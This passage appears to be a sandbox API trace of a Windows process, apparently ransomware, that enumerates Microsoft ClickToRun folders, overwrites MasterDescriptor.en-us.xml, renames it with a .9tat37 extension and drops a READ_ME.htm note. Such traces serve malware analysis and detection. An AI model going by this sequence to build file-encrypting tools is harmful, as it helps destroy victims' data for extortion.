ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x2623d680, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0136.985] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2617efa0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x2623d680, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x2623d680, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.985] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2623d680, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x2623d680, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x2623d680, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-us.16", cAlternateFileName="")) returned 1 [0136.985] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2617efa0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x261a5100, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x261a5100, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 1 [0136.986] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2617efa0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x261a5100, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x261a5100, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 0 [0136.986] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0136.986] SetErrorMode (uMode=0x0) returned 0x1 [0136.986] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968", lpFilePart=0x0) returned 0x48 [0136.986] SetErrorMode (uMode=0x1) returned 0x0 [0136.986] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968\\*" (normalized: "c:\\programdata\\microsoft\\clicktorun\\634ef343-54b0-4b56-9fd9-a785e3f22968\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2617efa0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x2623d680, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x2623d680, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0136.987] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2617efa0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x2623d680, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x2623d680, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.987] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2623d680, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x2623d680, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x2623d680, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-us.16", cAlternateFileName="")) returned 1 [0136.987] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2617efa0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x261a5100, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x261a5100, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 1 [0136.987] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2617efa0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x261a5100, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x261a5100, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 0 [0136.987] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0136.987] SetErrorMode (uMode=0x0) returned 0x1 [0136.987] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968\\en-us.16", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968\\en-us.16", lpFilePart=0x0) returned 0x51 [0136.988] SetErrorMode (uMode=0x1) returned 0x0 [0136.988] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968\\en-us.16\\*" (normalized: "c:\\programdata\\microsoft\\clicktorun\\634ef343-54b0-4b56-9fd9-a785e3f22968\\en-us.16\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2623d680, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x2623d680, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x2623d680, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0136.989] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2623d680, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x2623d680, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x2623d680, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.990] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2623d680, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x2623d680, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x22d02900, ftLastWriteTime.dwHighDateTime=0x1d0d7ee, nFileSizeHigh=0x0, nFileSizeLow=0x5765, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.en-us.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0136.990] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2623d680, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x2623d680, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x341a3500, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="s321033.hash", cAlternateFileName="S32103~1.HAS")) returned 1 [0136.990] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2623d680, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x2623d680, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x21ebc700, ftLastWriteTime.dwHighDateTime=0x1d0d7ef, nFileSizeHigh=0x0, nFileSizeLow=0xd81d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0136.990] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2623d680, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x2623d680, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x21ebc700, ftLastWriteTime.dwHighDateTime=0x1d0d7ef, nFileSizeHigh=0x0, nFileSizeLow=0xd81d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0 [0136.990] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0136.991] SetErrorMode (uMode=0x0) returned 0x1 [0136.992] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968\\en-us.16", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968\\en-us.16", lpFilePart=0x0) returned 0x51 [0136.992] SetErrorMode (uMode=0x1) returned 0x0 [0136.992] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968\\en-us.16\\*" (normalized: "c:\\programdata\\microsoft\\clicktorun\\634ef343-54b0-4b56-9fd9-a785e3f22968\\en-us.16\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2623d680, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x2623d680, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x2623d680, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0136.993] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2623d680, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x2623d680, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x2623d680, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.993] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2623d680, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x2623d680, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x22d02900, ftLastWriteTime.dwHighDateTime=0x1d0d7ee, nFileSizeHigh=0x0, nFileSizeLow=0x5765, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.en-us.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0136.993] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2623d680, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x2623d680, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x341a3500, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="s321033.hash", cAlternateFileName="S32103~1.HAS")) returned 1 [0136.993] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2623d680, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x2623d680, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x21ebc700, ftLastWriteTime.dwHighDateTime=0x1d0d7ef, nFileSizeHigh=0x0, nFileSizeLow=0xd81d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0136.994] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2623d680, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x2623d680, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x21ebc700, ftLastWriteTime.dwHighDateTime=0x1d0d7ef, nFileSizeHigh=0x0, nFileSizeLow=0xd81d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0 [0136.994] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0136.995] SetErrorMode (uMode=0x0) returned 0x1 [0136.995] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968\\en-us.16\\MasterDescriptor.en-us.xml", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968\\en-us.16\\MasterDescriptor.en-us.xml", lpFilePart=0x0) returned 0x6c [0136.995] SetErrorMode (uMode=0x1) returned 0x0 [0136.995] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968\\en-us.16\\MasterDescriptor.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\634ef343-54b0-4b56-9fd9-a785e3f22968\\en-us.16\\masterdescriptor.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0136.997] GetFileType (hFile=0x1d0) returned 0x1 [0136.997] SetErrorMode (uMode=0x0) returned 0x1 [0136.997] GetFileType (hFile=0x1d0) returned 0x1 [0136.997] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d478 | out: lpFileSizeHigh=0x21d478*=0x0) returned 0x5765 [0136.997] ReadFile (in: hFile=0x1d0, lpBuffer=0x28f3b18, nNumberOfBytesToRead=0x5765, lpNumberOfBytesRead=0x21d358, lpOverlapped=0x0 | out: lpBuffer=0x28f3b18*, lpNumberOfBytesRead=0x21d358*=0x5765, lpOverlapped=0x0) returned 1 [0137.022] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968\\en-us.16\\MasterDescriptor.en-us.xml", nBufferLength=0x105, lpBuffer=0x21ce20, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968\\en-us.16\\MasterDescriptor.en-us.xml", lpFilePart=0x0) returned 0x6c [0137.022] SetErrorMode (uMode=0x1) returned 0x0 [0137.022] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968\\en-us.16\\MasterDescriptor.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\634ef343-54b0-4b56-9fd9-a785e3f22968\\en-us.16\\masterdescriptor.en-us.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0137.024] GetFileType (hFile=0x1d0) returned 0x1 [0137.024] SetErrorMode (uMode=0x0) returned 0x1 [0137.024] GetFileType (hFile=0x1d0) returned 0x1 [0137.024] WriteFile (in: hFile=0x1d0, lpBuffer=0x29eee68*, nNumberOfBytesToWrite=0x5770, lpNumberOfBytesWritten=0x21d3d8, lpOverlapped=0x0 | out: lpBuffer=0x29eee68*, lpNumberOfBytesWritten=0x21d3d8*=0x5770, lpOverlapped=0x0) returned 1 [0137.026] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968\\en-us.16\\MasterDescriptor.en-us.xml", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968\\en-us.16\\MasterDescriptor.en-us.xml", lpFilePart=0x0) returned 0x6c [0137.027] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968\\en-us.16\\MasterDescriptor.en-us.xml.9tat37", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968\\en-us.16\\MasterDescriptor.en-us.xml.9tat37", lpFilePart=0x0) returned 0x73 [0137.027] SetErrorMode (uMode=0x1) returned 0x0 [0137.027] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968\\en-us.16\\MasterDescriptor.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\634ef343-54b0-4b56-9fd9-a785e3f22968\\en-us.16\\masterdescriptor.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x21d300 | out: lpFileInformation=0x21d300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2623d680, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x2623d680, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x4e3c68c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x5770)) returned 1 [0137.027] SetErrorMode (uMode=0x0) returned 0x1 [0137.027] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968\\en-us.16\\MasterDescriptor.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\634ef343-54b0-4b56-9fd9-a785e3f22968\\en-us.16\\masterdescriptor.en-us.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968\\en-us.16\\MasterDescriptor.en-us.xml.9tat37" (normalized: "c:\\programdata\\microsoft\\clicktorun\\634ef343-54b0-4b56-9fd9-a785e3f22968\\en-us.16\\masterdescriptor.en-us.xml.9tat37")) returned 1 [0137.030] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968\\en-us.16\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968\\en-us.16\\READ_ME.htm", lpFilePart=0x0) returned 0x5d [0137.030] SetErrorMode (uMode=0x1) returned 0x0 [0137.030] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968\\en-us.16\\READ_ME.htm" (normalized: "c:\\programdata\\microsoft\\clicktorun\\634ef343-54b0-4b56-9fd9-a785e3f22968\\en-us.16\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0137.031] GetFileType (hFile=0x1d0) returned 0x1 [0137.031] SetErrorMode (uMode=0x0) returned 0x1 [0137.031] GetFileType (hFile=0x1d0) returned 0x1 [0137.031] WriteFile (in: hFile=0x1d0, lpBuffer=0x29f8a00*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x29f8a00*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0137.033] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968\\x-none.16", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968\\x-none.16", lpFilePart=0x0) returned 0x52 [0137.033] SetErrorMode (uMode=0x1) returned 0x0 [0137.034] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968\\x-none.16\\*" (normalized: "c:\\programdata\\microsoft\\clicktorun\\634ef343-54b0-4b56-9fd9-a785e3f22968\\x-none.16\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2617efa0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x261a5100, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x261a5100, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0137.036] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2617efa0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x261a5100, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x261a5100, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.037] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x261a5100, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x261a5100, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x206dcf00, ftLastWriteTime.dwHighDateTime=0x1d0d7ee, nFileSizeHigh=0x0, nFileSizeLow=0x5220, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.x-none.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0137.037] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x261a5100, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x261a5100, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x341a3500, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="s320.hash", cAlternateFileName="S320~1.HAS")) returned 1 [0137.037] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x261a5100, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x261a5100, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x32e90800, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x38b5ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0137.037] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x261a5100, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x261a5100, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x32e90800, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x38b5ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0 [0137.037] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0137.038] SetErrorMode (uMode=0x0) returned 0x1 [0137.039] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968\\x-none.16", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968\\x-none.16", lpFilePart=0x0) returned 0x52 [0137.039] SetErrorMode (uMode=0x1) returned 0x0 [0137.039] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968\\x-none.16\\*" (normalized: "c:\\programdata\\microsoft\\clicktorun\\634ef343-54b0-4b56-9fd9-a785e3f22968\\x-none.16\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2617efa0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x261a5100, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x261a5100, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, 